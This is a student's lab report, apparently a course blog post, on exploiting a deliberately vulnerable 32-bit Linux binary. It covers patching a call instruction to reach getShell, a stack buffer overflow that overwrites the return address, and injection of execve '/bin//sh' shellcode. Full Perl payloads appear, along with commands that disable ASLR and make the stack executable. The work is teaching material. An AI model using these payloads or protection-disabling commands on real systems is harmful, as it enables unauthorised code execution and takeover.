20175201张驰 网络对抗exp1—PC平台逆向破解

目录

一、任务

实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。
  • 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。
  • 我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode

实践内容

  • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路，基本代表现实情况中的攻击目标：
  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 注入运行任意代码

二、基础知识

  • ESP寄存器
    ESP专门用作堆栈指针，被形象地称为栈顶指针，存放当前线程的栈顶指针，堆栈的顶部是地址小的区域，压入堆栈的数据越多，ESP也就越来越小。在32位平台上，ESP每次减少4字节

  • EIP寄存器
    EIP寄存器存放下一个CPU指令存放的内存地址，当CPU执行完当前的指令后，从EIP寄存器中读取下一条指令的内存地址，然后继续执行

三、实验步骤

1、直接修改程序机器指令，改变程序执行流程

  • 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

  • 学习目标：理解可执行文件与机器指令

  • 进阶：掌握ELF文件格式，掌握动态技术

(1)首先将pwn1用cp拷贝到作业目录，然后用mv进行重命名

(2)输入objdump -d 20175201pwn1进行反汇编

  • 第12行，call 8048491是汇编指令
  • 是说这条指令将调用位于地址8048491处的foo函数；其对应机器指令为`e8 d7ffffff，e8即跳转之意
  • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 EIP + d7ffffff这个位置的指令。d7ffffff是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，
  • main函数调用foo，对应机器指令为e8 d7ffffff，
  • 我们想让它调用getShell，只要修改d7ffffff为，getShell-80484ba对应的补码就行。
  • 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff

(3)vim 20175201pwn1

(4)先按esc，之后输入:%!xxd，以显示16进制内容

(5)输入/e8 d7快速找到我们想要的地方，注意一定要加空格！

(6)按i进入插入模式，修改d7为c3

(7):%!xxd -r将16进制内容转换为原来的格式；

(8):wq保存并退出

(9)./20175201pwn1

2、通过构造输入参数，造成BOF攻击，改变程序执行流

(1)首先拷贝一份pwn1，然后用mv进行重命名

(2)输入objdump -d 20175201pwn2进行反汇编

  • 我们的目标是触发getshell函数
  • 该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞
  • 这里读入字符串，但系统只预留了 32 字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
  • call调用了foo,同时在堆栈上压上返回地址值:80484ae

(3)确认输入字符串哪几个字符会覆盖到返回地址

  • 如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给20165201pwn2，20165201pwn2就会运行getShell

(4)构造输入字符串

  • 关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
  • 如图输入命令，将1111111122222222333333334444444412345678换成11111111222222223333333344444444\x7d\x84\x04\x08

可以使用16进制查看指令xxd查看input文件的内容是否如预期

（5）然后将input的输入，通过管道符“|”，作为20175201pwn2的输入

（6）成功！！！

3、注入Shellcode并执行

(1)准备一段Shellcode

  • shellcode就是一段机器指令（code）
  • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

(2)准备工作

  • 要注意的是，我们的实验目前是在非常简单的一个预设条件下完成的：
apt-get install execstack //安装execstack命令  
execstack -s pwn1 //设置堆栈可执行  
execstack -q pwn1 //查询文件的堆栈是否可执行  
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化   
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化  
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

(3)构造要注入的payload

输入

perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

其中32个A是为了填充缓冲区，而\x04\x03\x02\x01是预留的返回地址retaddr

  • 接下来我们来确定\x4\x3\x2\x1到底该填什么

  • 打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./20175201pwn2

  • 打开一个终端输入ps -ef | grep 20175201pwn2来查找进程号，可以看到第一行，进程号即为4924(不过第一次做错了，第二次做的时候是5515)

  • 打开另一个终端，用gdb调试，输入指令attach 5515

(4)通过设置断点，来查看注入buf的内存地址

  • 用disassemble foo命令反汇编，查看foo函数

用break *0x080484ae命令设置断点，在之前的终端中按下回车，输入c命令继续运行
用````info r esp命令查找地址，这里可以看到堆栈指针esp为0xffffd36c```

我们输入x/16x 0xffffd2ec查看其存放内容，看到0x01020304了，就是返回地址的位置。shellcode就挨着，所以shellcode的起始地址是0xffffd370（加4字节）

那么思路很清晰了，接下来将之前的\x4\x3\x2\x1改为这个地址即可，输入命令

perl -e 'print "A" x 32;print "\x70\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

注入成功！！！

四、遇到的问题和解决方式

bash：'!'......

解决:虽然安装的时候解决了中文乱码的问题，但是这次还是出现了。虽然很无奈，但是找上次安装时的教程再来一遍就好了

权限不够

解决：有几个步骤会出现‘权限不够’的提示。命令行输入su输入密码解决

五、实验收获和感想

  • 本次实验我们主要学习了缓冲区溢出与shellcode，这也是我自己第一次实践攻击程序，修改程序的路径，给我感觉自己像一个刚入门的黑客的感觉，挺有意思的。实验过程中当然也出现了不少问题，像输入错误、顺序错误等等导致重新再来一遍的失误，是我自己不小心导致的所以没往报告中写，当然，过程中也参考了学长学姐之前的博客，自己把自己思考分析的过程详细整理了一下，最后当攻击成功后，那种内心的满足感和成就感油然而生。
  • 希望自己在今后能学到更多关于网络对抗方面的知识。
  • 什么是漏洞？漏洞有什么危害？
    漏洞大概就是操作系统在设计的时候难以避免的一些考虑上的失误，或者是庞大的代码中的可乘之机。
    漏洞的危害当然就是会让别有用心的人利用来获得我们的信息、权限来为自己牟利，让个人社会乃至国家遭受损失。
posted @ 2020-03-02 12:37  20175201张驰  阅读(258)  评论(2)  编辑  收藏  举报